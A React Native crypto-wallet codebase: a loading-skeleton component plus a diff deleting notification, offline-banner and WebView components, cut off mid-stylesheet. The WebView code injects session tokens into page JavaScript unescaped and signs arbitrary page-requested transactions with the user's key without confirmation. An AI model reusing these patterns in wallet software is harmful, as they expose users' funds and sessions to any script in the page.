import React, { useEffect } from 'react';
import { View, Animated, StyleSheet, ViewStyle } from 'react-native';
import { AppColors } from '../theme/colors';
interface SkeletonProps {
width?: number | string;
height?: number;
borderRadius?: number;
style?: ViewStyle;
}
/**
* Loading Skeleton Component
* Shimmer animation for loading states
*/
export const Skeleton: React.FC<SkeletonProps> = ({
width = '100%',
height = 20,
borderRadius = 8,
style,
}) => {
const animatedValue = React.useState(() => new Animated.Value(0))[0];
useEffect(() => {
const animation = Animated.loop(
Animated.sequence([
Animated.timing(animatedValue, {
toValue: 1,
duration: 1000,
useNativeDriver: true,
}),
Animated.timing(animatedValue, {
toValue: 0,
duration: 1000,
useNativeDriver: true,
}),
])
);
animation.start();
return () => animation.stop();
}, [animatedValue]);
const opacity = animatedValue.interpolate({
inputRange: [0, 1],
outputRange: [0.3, 0.7],
});
return (
<Animated.View
style={[
styles.skeleton,
// eslint-disable-next-line @typescript-eslint/no-explicit-any
{ width: width as any, height, borderRadius, opacity },
style,
]}
/>
);
};
/**
* Card Skeleton for loading states
*/
export const CardSkeleton: React.FC = () => (
<View style={styles.cardSkeleton}>
<Skeleton width="60%" height={24} style={{ marginBottom: 12 }} />
<Skeleton width="40%" height={16} style={{ marginBottom: 8 }} />
<Skeleton width="80%" height={16} style={{ marginBottom: 16 }} />
<View style={styles.row}>
<Skeleton width={60} height={32} borderRadius={16} />
<Skeleton width={80} height={32} borderRadius={16} />
</View>
</View>
);
/**
* List Item Skeleton
*/
export const ListItemSkeleton: React.FC = () => (
<View style={styles.listItem}>
<Skeleton width={48} height={48} borderRadius={24} />
<View style={styles.listItemContent}>
<Skeleton width="70%" height={16} style={{ marginBottom: 8 }} />
<Skeleton width="40%" height={14} />
</View>
</View>
);
// Export LoadingSkeleton as an alias for compatibility
export const LoadingSkeleton = Skeleton;
const styles = StyleSheet.create({
skeleton: {
backgroundColor: AppColors.border,
},
cardSkeleton: {
backgroundColor: AppColors.surface,
borderRadius: 16,
padding: 16,
marginBottom: 16,
},
row: {
flexDirection: 'row',
gap: 12,
},
listItem: {
flexDirection: 'row',
alignItems: 'center',
padding: 16,
gap: 12,
backgroundColor: AppColors.surface,
borderRadius: 12,
marginBottom: 8,
},
listItemContent: {
flex: 1,
},
});
@@ -1,85 +0,0 @@
import React, { useState, useEffect } from 'react';
import { View, Text, TouchableOpacity, StyleSheet } from 'react-native';
import { usePezkuwi } from '../contexts/PezkuwiContext';
import { KurdistanColors } from '../theme/colors';
import { supabaseHelpers } from '../lib/supabase';
import type { ViewStyle } from 'react-native';
interface NotificationBellProps {
onPress: () => void;
style?: ViewStyle;
}
export const NotificationBell: React.FC<NotificationBellProps> = ({ onPress, style }) => {
const { selectedAccount, api, isApiReady } = usePezkuwi();
const [unreadCount, setUnreadCount] = useState(0);
useEffect(() => {
if (!api || !isApiReady || !selectedAccount) {
// Reset count when dependencies are not available - valid conditional setState
// eslint-disable-next-line react-hooks/set-state-in-effect
setUnreadCount(0);
return;
}
// Fetch unread notification count from Supabase
const fetchUnreadCount = async () => {
try {
const count = await supabaseHelpers.getUnreadNotificationsCount(selectedAccount.address);
setUnreadCount(count);
} catch {
if (__DEV__) console.warn('Failed to fetch unread count');
// If tables don't exist yet, set to 0
setUnreadCount(0);
}
};
fetchUnreadCount();
// Refresh every 30 seconds
const interval = setInterval(fetchUnreadCount, 30000);
return () => clearInterval(interval);
}, [api, isApiReady, selectedAccount]);
return (
<TouchableOpacity onPress={onPress} style={[styles.container, style]}>
<Text style={styles.bellIcon}>🔔</Text>
{unreadCount > 0 && (
<View style={styles.badge}>
<Text style={styles.badgeText}>{unreadCount > 9 ? '9+' : unreadCount}</Text>
</View>
)}
</TouchableOpacity>
);
};
const styles = StyleSheet.create({
container: {
position: 'relative',
width: 40,
height: 40,
justifyContent: 'center',
alignItems: 'center',
},
bellIcon: {
fontSize: 24,
},
badge: {
position: 'absolute',
top: 4,
right: 4,
backgroundColor: KurdistanColors.sor,
borderRadius: 10,
minWidth: 20,
height: 20,
justifyContent: 'center',
alignItems: 'center',
paddingHorizontal: 4,
},
badgeText: {
color: '#FFFFFF',
fontSize: 11,
fontWeight: 'bold',
},
});
@@ -1,457 +0,0 @@
import React, { useState, useEffect } from 'react';
import {
View,
Text,
Modal,
StyleSheet,
ScrollView,
TouchableOpacity,
Alert,
} from 'react-native';
import { useSafeAreaInsets } from 'react-native-safe-area-context';
import { KurdistanColors } from '../theme/colors';
import { usePezkuwi } from '../contexts/PezkuwiContext';
import { supabaseHelpers } from '../lib/supabase';
interface Notification {
id: string;
type: 'transaction' | 'governance' | 'p2p' | 'referral' | 'system';
title: string;
message: string;
read: boolean;
timestamp: string;
}
interface NotificationCenterModalProps {
visible: boolean;
onClose: () => void;
}
// Notifications are stored in Supabase database
export const NotificationCenterModal: React.FC<NotificationCenterModalProps> = ({
visible,
onClose,
}) => {
const insets = useSafeAreaInsets();
const { selectedAccount } = usePezkuwi();
const [notifications, setNotifications] = useState<Notification[]>([]);
const [_loading, setLoading] = useState(false);
useEffect(() => {
if (visible && selectedAccount) {
const fetchNotifications = async () => {
try {
setLoading(true);
// Fetch notifications from Supabase
const data = await supabaseHelpers.getUserNotifications(selectedAccount.address);
// Transform to match component interface
const transformed = data.map(n => ({
...n,
timestamp: n.created_at,
}));
setNotifications(transformed);
} catch (error) {
console.error('Failed to fetch notifications:', error);
// If tables don't exist yet, show empty state
setNotifications([]);
} finally {
setLoading(false);
}
};
fetchNotifications();
}
}, [visible, selectedAccount]);
const handleMarkAsRead = async (notificationId: string) => {
try {
// Update UI immediately
setNotifications(prev =>
prev.map(n => (n.id === notificationId ? { ...n, read: true } : n))
);
// Update in Supabase
await supabaseHelpers.markNotificationAsRead(notificationId);
} catch (error) {
console.error('Failed to mark notification as read:', error);
}
};
const handleMarkAllAsRead = async () => {
if (!selectedAccount) return;
try {
// Update UI immediately
setNotifications(prev => prev.map(n => ({ ...n, read: true })));
// Update in Supabase
await supabaseHelpers.markAllNotificationsAsRead(selectedAccount.address);
Alert.alert('Success', 'All notifications marked as read');
} catch (error) {
console.error('Failed to mark all as read:', error);
Alert.alert('Error', 'Failed to update notifications');
}
};
const handleClearAll = () => {
Alert.alert(
'Clear All Notifications',
'Are you sure you want to clear all notifications?',
[
{ text: 'Cancel', style: 'cancel' },
{
text: 'Clear',
style: 'destructive',
onPress: async () => {
try {
setNotifications([]);
// TODO: Implement delete from Supabase when needed
// For now, just clear from UI
} catch (error) {
console.error('Failed to clear notifications:', error);
}
},
},
]
);
};
const getNotificationIcon = (type: string): string => {
const icons: Record<string, string> = {
transaction: '💰',
governance: '🏛️',
p2p: '🤝',
referral: '👥',
system: '⚙️',
};
return icons[type] || '📬';
};
const getNotificationColor = (type: string): string => {
const colors: Record<string, string> = {
transaction: KurdistanColors.kesk,
governance: '#3B82F6',
p2p: '#F59E0B',
referral: '#8B5CF6',
system: '#6B7280',
};
return colors[type] || '#666';
};
const formatTimestamp = (timestamp: string): string => {
const date = new Date(timestamp);
const now = new Date();
const diffMs = now.getTime() - date.getTime();
const diffMins = Math.floor(diffMs / 60000);
const diffHours = Math.floor(diffMins / 60);
const diffDays = Math.floor(diffHours / 24);
if (diffMins < 60) return `${diffMins}m ago`;
if (diffHours < 24) return `${diffHours}h ago`;
if (diffDays < 7) return `${diffDays}d ago`;
return date.toLocaleDateString();
};
const unreadCount = notifications.filter(n => !n.read).length;
const groupedNotifications = {
today: notifications.filter(n => {
const date = new Date(n.timestamp);
const today = new Date();
return date.toDateString() === today.toDateString();
}),
earlier: notifications.filter(n => {
const date = new Date(n.timestamp);
const today = new Date();
return date.toDateString() !== today.toDateString();
}),
};
return (
<Modal
visible={visible}
animationType="slide"
transparent={true}
onRequestClose={onClose}
>
<View style={styles.modalOverlay}>
<View style={[styles.modalContent, { paddingBottom: Math.max(insets.bottom, 20) }]}>
{/* Header */}
<View style={styles.header}>
<View>
<Text style={styles.headerTitle}>Notifications</Text>
{unreadCount > 0 && (
<Text style={styles.headerSubtitle}>{unreadCount} unread</Text>
)}
</View>
<TouchableOpacity onPress={onClose} style={styles.closeButton}>
<Text style={styles.closeButtonText}></Text>
</TouchableOpacity>
</View>
{/* Actions */}
{notifications.length > 0 && (
<View style={styles.actions}>
{unreadCount > 0 && (
<TouchableOpacity onPress={handleMarkAllAsRead} style={styles.actionButton}>
<Text style={styles.actionButtonText}>Mark all as read</Text>
</TouchableOpacity>
)}
<TouchableOpacity onPress={handleClearAll} style={styles.actionButton}>
<Text style={[styles.actionButtonText, styles.actionButtonDanger]}>Clear all</Text>
</TouchableOpacity>
</View>
)}
{/* Notifications List */}
<ScrollView style={styles.notificationsList} showsVerticalScrollIndicator={false}>
{notifications.length === 0 ? (
<View style={styles.emptyState}>
<Text style={styles.emptyStateIcon}>📬</Text>
<Text style={styles.emptyStateText}>No notifications</Text>
<Text style={styles.emptyStateSubtext}>You&apos;re all caught up!</Text>
</View>
) : (
<>
{/* Today */}
{groupedNotifications.today.length > 0 && (
<>
<Text style={styles.sectionTitle}>Today</Text>
{groupedNotifications.today.map((notification) => (
<TouchableOpacity
key={notification.id}
style={[
styles.notificationCard,
!notification.read && styles.notificationCardUnread,
]}
onPress={() => handleMarkAsRead(notification.id)}
>
<View
style={[
styles.notificationIcon,
{ backgroundColor: `${getNotificationColor(notification.type)}15` },
]}
>
<Text style={styles.notificationIconText}>
{getNotificationIcon(notification.type)}
</Text>
</View>
<View style={styles.notificationContent}>
<View style={styles.notificationHeader}>
<Text style={styles.notificationTitle}>{notification.title}</Text>
{!notification.read && <View style={styles.unreadDot} />}
</View>
<Text style={styles.notificationMessage} numberOfLines={2}>
{notification.message}
</Text>
<Text style={styles.notificationTime}>
{formatTimestamp(notification.timestamp)}
</Text>
</View>
</TouchableOpacity>
))}
</>
)}
{/* Earlier */}
{groupedNotifications.earlier.length > 0 && (
<>
<Text style={styles.sectionTitle}>Earlier</Text>
{groupedNotifications.earlier.map((notification) => (
<TouchableOpacity
key={notification.id}
style={[
styles.notificationCard,
!notification.read && styles.notificationCardUnread,
]}
onPress={() => handleMarkAsRead(notification.id)}
>
<View
style={[
styles.notificationIcon,
{ backgroundColor: `${getNotificationColor(notification.type)}15` },
]}
>
<Text style={styles.notificationIconText}>
{getNotificationIcon(notification.type)}
</Text>
</View>
<View style={styles.notificationContent}>
<View style={styles.notificationHeader}>
<Text style={styles.notificationTitle}>{notification.title}</Text>
{!notification.read && <View style={styles.unreadDot} />}
</View>
<Text style={styles.notificationMessage} numberOfLines={2}>
{notification.message}
</Text>
<Text style={styles.notificationTime}>
{formatTimestamp(notification.timestamp)}
</Text>
</View>
</TouchableOpacity>
))}
</>
)}
</>
)}
</ScrollView>
</View>
</View>
</Modal>
);
};
const styles = StyleSheet.create({
modalOverlay: {
flex: 1,
backgroundColor: 'rgba(0, 0, 0, 0.5)',
justifyContent: 'flex-end',
},
modalContent: {
backgroundColor: '#FFFFFF',
borderTopLeftRadius: 24,
borderTopRightRadius: 24,
maxHeight: '85%',
},
header: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
padding: 20,
borderBottomWidth: 1,
borderBottomColor: '#F0F0F0',
},
headerTitle: {
fontSize: 20,
fontWeight: 'bold',
color: '#333',
},
headerSubtitle: {
fontSize: 14,
color: KurdistanColors.kesk,
marginTop: 2,
},
closeButton: {
width: 32,
height: 32,
borderRadius: 16,
backgroundColor: '#F5F5F5',
justifyContent: 'center',
alignItems: 'center',
},
closeButtonText: {
fontSize: 18,
color: '#666',
},
actions: {
flexDirection: 'row',
gap: 12,
paddingHorizontal: 20,
paddingVertical: 12,
borderBottomWidth: 1,
borderBottomColor: '#F0F0F0',
},
actionButton: {
paddingHorizontal: 12,
paddingVertical: 6,
borderRadius: 8,
backgroundColor: '#F5F5F5',
},
actionButtonText: {
fontSize: 13,
fontWeight: '500',
color: '#666',
},
actionButtonDanger: {
color: '#EF4444',
},
notificationsList: {
flex: 1,
padding: 20,
},
sectionTitle: {
fontSize: 14,
fontWeight: '600',
color: '#999',
marginBottom: 12,
marginTop: 8,
},
notificationCard: {
flexDirection: 'row',
backgroundColor: '#FFFFFF',
borderRadius: 12,
padding: 12,
marginBottom: 12,
borderWidth: 1,
borderColor: '#F0F0F0',
},
notificationCardUnread: {
backgroundColor: '#F8F9FA',
borderColor: KurdistanColors.kesk,
},
notificationIcon: {
width: 44,
height: 44,
borderRadius: 22,
justifyContent: 'center',
alignItems: 'center',
marginRight: 12,
},
notificationIconText: {
fontSize: 20,
},
notificationContent: {
flex: 1,
},
notificationHeader: {
flexDirection: 'row',
alignItems: 'center',
marginBottom: 4,
},
notificationTitle: {
fontSize: 14,
fontWeight: '600',
color: '#333',
flex: 1,
},
unreadDot: {
width: 8,
height: 8,
borderRadius: 4,
backgroundColor: KurdistanColors.kesk,
marginLeft: 8,
},
notificationMessage: {
fontSize: 13,
color: '#666',
lineHeight: 18,
marginBottom: 4,
},
notificationTime: {
fontSize: 11,
color: '#999',
},
emptyState: {
alignItems: 'center',
paddingVertical: 60,
},
emptyStateIcon: {
fontSize: 64,
marginBottom: 16,
},
emptyStateText: {
fontSize: 18,
fontWeight: '600',
color: '#333',
marginBottom: 8,
},
emptyStateSubtext: {
fontSize: 14,
color: '#999',
},
});
-29
View File
@@ -1,29 +0,0 @@
import React from 'react';
import { View, Text, StyleSheet } from 'react-native';
import { useNetworkStatus } from '../hooks/useNetworkStatus';
export const OfflineBanner: React.FC = () => {
const { isConnected } = useNetworkStatus();
if (isConnected) return null;
return (
<View style={styles.banner} accessibilityRole="alert" accessibilityLabel="No internet connection">
<Text style={styles.text}>No internet connection</Text>
</View>
);
};
const styles = StyleSheet.create({
banner: {
backgroundColor: '#DC2626',
paddingVertical: 8,
paddingHorizontal: 16,
alignItems: 'center',
},
text: {
color: '#FFFFFF',
fontSize: 13,
fontWeight: '600',
},
});
-688
View File
@@ -1,688 +0,0 @@
import React, { useRef, useState, useCallback } from 'react';
import {
View,
StyleSheet,
ActivityIndicator,
Text,
TouchableOpacity,
BackHandler,
Platform,
Alert,
} from 'react-native';
import * as Location from 'expo-location';
import { WebView, WebViewMessageEvent } from 'react-native-webview';
import { useFocusEffect, useNavigation } from '@react-navigation/native';
import type { NavigationProp } from '@react-navigation/native';
import { KurdistanColors } from '../theme/colors';
import { usePezkuwi } from '../contexts/PezkuwiContext';
import { useAuth } from '../contexts/AuthContext';
import { supabase } from '../lib/supabase';
type RootStackParamList = {
Wallet: undefined;
WalletSetup: undefined;
};
// Base URL for the web app
const WEB_BASE_URL = 'https://pezkuwichain.io';
export interface PezkuwiWebViewProps {
// The path to load (e.g., '/p2p', '/forum', '/elections')
path: string;
// Optional title for the header
title?: string;
// Callback when navigation state changes
onNavigationStateChange?: (canGoBack: boolean) => void;
}
interface WebViewMessage {
type: string;
payload?: unknown;
}
const PezkuwiWebView: React.FC<PezkuwiWebViewProps> = ({
path,
title,
onNavigationStateChange,
}) => {
const webViewRef = useRef<WebView>(null);
const [loading, setLoading] = useState(true);
const [error, setError] = useState<string | null>(null);
const [canGoBack, setCanGoBack] = useState(false);
const navigation = useNavigation<NavigationProp<RootStackParamList>>();
const { selectedAccount, getKeyPair, api, isApiReady } = usePezkuwi();
const { user } = useAuth();
const [sessionToken, setSessionToken] = useState<string | null>(null);
const [refreshToken, setRefreshToken] = useState<string | null>(null);
const [isSessionReady, setIsSessionReady] = useState(false);
// Get Supabase session token for WebView authentication
React.useEffect(() => {
const getSession = async () => {
try {
const { data: { session } } = await supabase.auth.getSession();
if (session?.access_token) {
setSessionToken(session.access_token);
setRefreshToken(session.refresh_token || null);
if (__DEV__) console.warn('[WebView] Session token retrieved for SSO');
}
} catch (error) {
if (__DEV__) console.warn('[WebView] Failed to get session:', error);
} finally {
setIsSessionReady(true);
}
};
getSession();
}, [user]);
// Runs BEFORE any page JS — sets the mobile flag and overrides geolocation
// so React's useEffect sees them on first render
const injectedJavaScriptBeforeContentLoaded = `
(function() {
window.PEZKUWI_MOBILE = true;
window.PEZKUWI_PLATFORM = '${Platform.OS}';
// Override navigator.geolocation before React mounts
var _pendingLocationCallbacks = {};
var _locationCallbackId = 0;
var _overrideGeo = {
getCurrentPosition: function(success, error, options) {
var id = ++_locationCallbackId;
_pendingLocationCallbacks[id] = { success: success, error: error };
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'REQUEST_LOCATION',
payload: { id: id }
}));
setTimeout(function() {
if (_pendingLocationCallbacks[id]) {
delete _pendingLocationCallbacks[id];
if (error) error({ code: 3, message: 'Timeout' });
}
}, 15000);
},
watchPosition: function() { return 0; },
clearWatch: function() {}
};
try {
Object.defineProperty(navigator, 'geolocation', {
get: function() { return _overrideGeo; },
configurable: true
});
} catch(e) {}
window.__resolveLocation = function(id, lat, lon, accuracy) {
var cb = _pendingLocationCallbacks[id];
if (cb) {
delete _pendingLocationCallbacks[id];
cb.success({ coords: { latitude: lat, longitude: lon, accuracy: accuracy || 50, altitude: null, altitudeAccuracy: null, heading: null, speed: null }, timestamp: Date.now() });
}
};
window.__rejectLocation = function(id, code, msg) {
var cb = _pendingLocationCallbacks[id];
if (cb) {
delete _pendingLocationCallbacks[id];
if (cb.error) cb.error({ code: code || 1, message: msg || 'Permission denied' });
}
};
true;
})();
`;
// JavaScript to inject into the WebView
// This creates a bridge between the web app and native app
const injectedJavaScript = `
(function() {
// Inject wallet address if connected
${selectedAccount ? `window.PEZKUWI_ADDRESS = '${selectedAccount.address}';` : ''}
${selectedAccount ? `window.PEZKUWI_ACCOUNT_NAME = '${selectedAccount.meta?.name || 'Mobile Wallet'}';` : ''}
// Inject auth session for automatic login
${sessionToken ? `window.PEZKUWI_SESSION_TOKEN = '${sessionToken}';` : ''}
${refreshToken ? `window.PEZKUWI_REFRESH_TOKEN = '${refreshToken}';` : ''}
${user ? `window.PEZKUWI_USER_ID = '${user.id}';` : ''}
${user?.email ? `window.PEZKUWI_USER_EMAIL = '${user.email}';` : ''}
// Pre-populate localStorage with session so Supabase client finds it on init
${sessionToken && user ? `
try {
var supabaseUrl = 'https://sihawipngjtgvfzukfew.supabase.co';
var storageKey = 'sb-' + supabaseUrl.replace('https://', '').split('.')[0] + '-auth-token';
var sessionData = {
access_token: '${sessionToken}',
refresh_token: '${refreshToken || ''}',
token_type: 'bearer',
expires_in: 3600,
expires_at: Math.floor(Date.now() / 1000) + 3600,
user: {
id: '${user.id}',
email: '${user.email || ''}',
aud: 'authenticated',
role: 'authenticated'
}
};
localStorage.setItem(storageKey, JSON.stringify(sessionData));
console.log('[Mobile] Pre-populated localStorage with session');
} catch(e) {
console.warn('[Mobile] Failed to set localStorage:', e);
}
` : ''}
// Auto-authenticate with Supabase if session token exists
if (window.PEZKUWI_SESSION_TOKEN) {
(function autoAuth(attempts = 0) {
if (attempts > 50) {
console.warn('[Mobile] Auto-auth timed out: window.supabase not found');
return;
}
if (window.supabase && window.supabase.auth) {
window.supabase.auth.setSession({
access_token: window.PEZKUWI_SESSION_TOKEN,
refresh_token: window.PEZKUWI_REFRESH_TOKEN || ''
}).then(function(res) {
if (res.error) {
console.warn('[Mobile] Auto-auth error:', res.error);
} else {
console.log('[Mobile] Auto-authenticated successfully');
// Dispatch event to notify app of successful auth
window.dispatchEvent(new CustomEvent('pezkuwi-session-restored', {
detail: { userId: window.PEZKUWI_USER_ID }
}));
// Force auth state refresh if the app has an auth store
if (window.__refreshAuthState) {
window.__refreshAuthState();
}
}
}).catch(function(err) {
console.warn('[Mobile] Auto-auth promise failed:', err);
});
} else {
setTimeout(function() { autoAuth(attempts + 1); }, 100);
}
})(0);
}
// Override console.log to send to React Native (for debugging)
const originalConsoleLog = console.log;
console.log = function(...args) {
originalConsoleLog.apply(console, args);
window.ReactNativeWebView?.postMessage(JSON.stringify({
type: 'CONSOLE_LOG',
payload: args.map(arg => typeof arg === 'object' ? JSON.stringify(arg) : String(arg)).join(' ')
}));
};
// Create native bridge for wallet operations
window.PezkuwiNativeBridge = {
// Request transaction signing and submission from native wallet
signTransaction: function(payload, callback) {
window.__pendingSignCallback = callback;
window.ReactNativeWebView?.postMessage(JSON.stringify({
type: 'SIGN_TRANSACTION',
payload: payload
}));
},
// Request wallet connection
connectWallet: function() {
window.ReactNativeWebView?.postMessage(JSON.stringify({
type: 'CONNECT_WALLET'
}));
},
// Navigate back in native app
goBack: function() {
window.ReactNativeWebView?.postMessage(JSON.stringify({
type: 'GO_BACK'
}));
},
// Check if wallet is connected
isWalletConnected: function() {
return !!window.PEZKUWI_ADDRESS;
},
// Get connected address
getAddress: function() {
return window.PEZKUWI_ADDRESS || null;
}
};
// Notify web app that native bridge is ready
window.dispatchEvent(new CustomEvent('pezkuwi-native-ready', {
detail: {
address: window.PEZKUWI_ADDRESS,
platform: window.PEZKUWI_PLATFORM
}
}));
true; // Required for injectedJavaScript
})();
`;
// Handle messages from WebView
const handleMessage = useCallback(async (event: WebViewMessageEvent) => {
try {
const message: WebViewMessage = JSON.parse(event.nativeEvent.data);
switch (message.type) {
case 'SIGN_TRANSACTION':
// Handle transaction signing and submission
if (!selectedAccount) {
webViewRef.current?.injectJavaScript(`
if (window.__pendingSignCallback) {
window.__pendingSignCallback(null, 'Wallet not connected');
delete window.__pendingSignCallback;
}
`);
return;
}
if (!api || !isApiReady) {
webViewRef.current?.injectJavaScript(`
if (window.__pendingSignCallback) {
window.__pendingSignCallback(null, 'Blockchain not connected');
delete window.__pendingSignCallback;
}
`);
return;
}
try {
const payload = message.payload as {
section: string;
method: string;
args: unknown[];
};
const keyPair = await getKeyPair(selectedAccount.address);
if (!keyPair) {
throw new Error('Could not retrieve key pair');
}
// Build the transaction using native API
const { section, method, args } = payload;
if (__DEV__) {
console.warn('[WebView] Building transaction:', { section, method, args });
}
// Get the transaction method from API
const txModule = api.tx[section] as Record<string, (...args: unknown[]) => { signAndSend: (...args: unknown[]) => Promise<unknown> }> | undefined;
if (!txModule) {
throw new Error(`Unknown section: ${section}`);
}
const txMethod = txModule[method];
if (!txMethod) {
throw new Error(`Unknown method: ${section}.${method}`);
}
// Create the transaction
const tx = txMethod(...args);
// Sign and send transaction
const txHash = await new Promise<string>((resolve, reject) => {
tx.signAndSend(keyPair, { nonce: -1 }, (result: { status: { isInBlock?: boolean; isFinalized?: boolean; asInBlock?: { toString: () => string }; asFinalized?: { toString: () => string } }; dispatchError?: unknown }) => {
if (result.status.isInBlock) {
const hash = result.status.asInBlock?.toString() || '';
if (__DEV__) {
console.warn('[WebView] Transaction included in block:', hash);
}
resolve(hash);
} else if (result.status.isFinalized) {
const hash = result.status.asFinalized?.toString() || '';
if (__DEV__) {
console.warn('[WebView] Transaction finalized:', hash);
}
}
if (result.dispatchError) {
reject(new Error('Transaction failed'));
}
}).catch(reject);
});
// Send success back to WebView
webViewRef.current?.injectJavaScript(`
if (window.__pendingSignCallback) {
window.__pendingSignCallback('${txHash}', null);
delete window.__pendingSignCallback;
}
`);
} catch (signError) {
const errorMessage = (signError as Error).message.replace(/'/g, "\\'");
webViewRef.current?.injectJavaScript(`
if (window.__pendingSignCallback) {
window.__pendingSignCallback(null, '${errorMessage}');
delete window.__pendingSignCallback;
}
`);
}
break;
case 'CONNECT_WALLET':
// Handle wallet connection request from WebView
if (__DEV__) console.warn('WebView requested wallet connection');
if (selectedAccount) {
// Already connected, notify WebView
webViewRef.current?.injectJavaScript(`
window.PEZKUWI_ADDRESS = '${selectedAccount.address}';
window.PEZKUWI_ACCOUNT_NAME = '${selectedAccount.meta?.name || 'Mobile Wallet'}';
window.dispatchEvent(new CustomEvent('pezkuwi-wallet-connected', {
detail: {
address: '${selectedAccount.address}',
name: '${selectedAccount.meta?.name || 'Mobile Wallet'}'
}
}));
`);
} else {
// No wallet connected, show alert and navigate to wallet setup
Alert.alert(
'Wallet Required',
'Please connect or create a wallet to continue.',
[
{
text: 'Cancel',
style: 'cancel',
},
{
text: 'Setup Wallet',
onPress: () => {
navigation.navigate('WalletSetup');
},
},
]
);
}
break;
case 'REQUEST_LOCATION': {
const locId = (message.payload as { id: number }).id;
try {
const { status } = await Location.requestForegroundPermissionsAsync();
if (status !== 'granted') {
webViewRef.current?.injectJavaScript(
`window.__rejectLocation(${locId}, 1, 'Permission denied'); true;`
);
break;
}
const pos = await Location.getCurrentPositionAsync({
accuracy: Location.Accuracy.Balanced,
});
webViewRef.current?.injectJavaScript(
`window.__resolveLocation(${locId}, ${pos.coords.latitude}, ${pos.coords.longitude}, ${pos.coords.accuracy}); true;`
);
} catch (locErr) {
webViewRef.current?.injectJavaScript(
`window.__rejectLocation(${locId}, 2, 'Location unavailable'); true;`
);
}
break;
}
case 'GO_BACK':
// Handle back navigation from web
if (canGoBack && webViewRef.current) {
webViewRef.current.goBack();
}
break;
case 'CONSOLE_LOG':
// Forward console logs from WebView (debug only)
if (__DEV__) {
console.warn('[WebView]:', message.payload);
}
break;
default:
if (__DEV__) {
console.warn('Unknown message type:', message.type);
}
}
} catch (parseError) {
if (__DEV__) {
console.error('Failed to parse WebView message:', parseError);
}
}
}, [selectedAccount, getKeyPair, canGoBack, navigation, api, isApiReady]);
// Handle Android back button
useFocusEffect(
useCallback(() => {
const onBackPress = () => {
if (canGoBack && webViewRef.current) {
webViewRef.current.goBack();
return true; // Prevent default behavior
}
return false; // Allow default behavior
};
const subscription = BackHandler.addEventListener('hardwareBackPress', onBackPress);
return () => subscription.remove();
}, [canGoBack])
);
// Reload the WebView
const handleReload = () => {
setError(null);
setLoading(true);
webViewRef.current?.reload();
};
// Go back in WebView history
const handleGoBack = () => {
if (canGoBack && webViewRef.current) {
webViewRef.current.goBack();
}
};
// Build the full URL
const fullUrl = `${WEB_BASE_URL}${path}`;
// Wait for session to be ready before loading WebView (ensures SSO works)
if (!isSessionReady) {
return (
<View style={styles.container}>
{title && (
<View style={styles.header}>
<View style={{ width: 40 }} />
<Text style={styles.headerTitle}>{title}</Text>
<View style={{ width: 40 }} />
</View>
)}
<View style={styles.loadingOverlay}>
<ActivityIndicator size="large" color={KurdistanColors.kesk} />
<Text style={styles.loadingText}>Preparing session...</Text>
</View>
</View>
);
}
// Error view
if (error) {
return (
<View style={styles.errorContainer}>
<Text style={styles.errorIcon}>!</Text>
<Text style={styles.errorTitle}>Connection Error</Text>
<Text style={styles.errorMessage}>{error}</Text>
<TouchableOpacity style={styles.retryButton} onPress={handleReload}>
<Text style={styles.retryButtonText}>Try Again</Text>
</TouchableOpacity>
</View>
);
}
return (
<View style={styles.container}>
{/* Optional header with back button */}
{title && (
<View style={styles.header}>
{canGoBack && (
<TouchableOpacity style={styles.backButton} onPress={handleGoBack}>
<Text style={styles.backButtonText}>{'<'}</Text>
</TouchableOpacity>
)}
<Text style={styles.headerTitle}>{title}</Text>
<TouchableOpacity style={styles.reloadButton} onPress={handleReload}>
<Text style={styles.reloadButtonText}>Reload</Text>
</TouchableOpacity>
</View>
)}
{/* WebView */}
<WebView
ref={webViewRef}
source={{ uri: fullUrl }}
style={styles.webView}
injectedJavaScriptBeforeContentLoaded={injectedJavaScriptBeforeContentLoaded}
injectedJavaScript={injectedJavaScript}
onMessage={handleMessage}
onLoadStart={() => setLoading(true)}
onLoadEnd={() => setLoading(false)}
onError={(syntheticEvent) => {
const { nativeEvent } = syntheticEvent;
setError(nativeEvent.description || 'Failed to load page');
setLoading(false);
}}
onHttpError={(syntheticEvent) => {
const { nativeEvent } = syntheticEvent;
if (nativeEvent.statusCode >= 400) {
setError(`HTTP Error: ${nativeEvent.statusCode}`);
}
}}
onNavigationStateChange={(navState) => {
setCanGoBack(navState.canGoBack);
onNavigationStateChange?.(navState.canGoBack);
}}
// Security settings
javaScriptEnabled={true}
domStorageEnabled={true}
geolocationEnabled={true}
sharedCookiesEnabled={true}
thirdPartyCookiesEnabled={true}
// Performance settings
cacheEnabled={true}
cacheMode="LOAD_DEFAULT"
// UI settings
showsHorizontalScrollIndicator={false}
showsVerticalScrollIndicator={true}
bounces={true}
pullToRefreshEnabled={true}
// Behavior settings
allowsBackForwardNavigationGestures={true}
allowsInlineMediaPlayback={true}
mediaPlaybackRequiresUserAction={false}
// Debugging (dev only)
webviewDebuggingEnabled={__DEV__}
/>
{/* Loading overlay */}
{loading && (
<View style={styles.loadingOverlay}>
<ActivityIndicator size="large" color={KurdistanColors.kesk} />
<Text style={styles.loadingText}>Loading...</Text>
</View>
)}
</View>
);
};
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: '#FFFFFF',
},
header: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'space-between',
paddingHorizontal: 16,
paddingVertical: 12,
backgroundColor: '#FFFFFF',
borderBottomWidth: 1,
borderBottomColor: '#E0E0E0',
},
headerTitle: {
flex: 1,
fontSize: 18,
fontWeight: '700',
color: '#000',
textAlign: 'center',
},
backButton: {
padding: 8,
marginRight: 8,
},
backButtonText: {
fontSize: 24,
color: KurdistanColors.kesk,
fontWeight: '600',
},
reloadButton: {
padding: 8,
},
reloadButtonText: {
fontSize: 14,
color: KurdistanColors.kesk,
fontWeight: '600',
},
webView: {
flex: 1,
},
loadingOverlay: {
...StyleSheet.absoluteFillObject,
backgroundColor: 'rgba(255, 255, 255, 0.9)',
justifyContent: 'center',
alignItems: 'center',
},
loadingText: {
marginTop: 12,
fontSize: 14,
color: '#666',
},
errorContainer: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
padding: 32,
backgroundColor: '#FFFFFF',
},
errorIcon: {
fontSize: 48,
color: KurdistanColors.sor,
marginBottom: 16,
fontWeight: '700',
},
errorTitle: {
fontSize: 20,
fontWeight: '700',
color: '#000',
marginBottom: 8,
},
errorMessage: {
fontSize: 14,
color: '#666',
textAlign: 'center',
marginBottom: 24,
},
retryButton: {
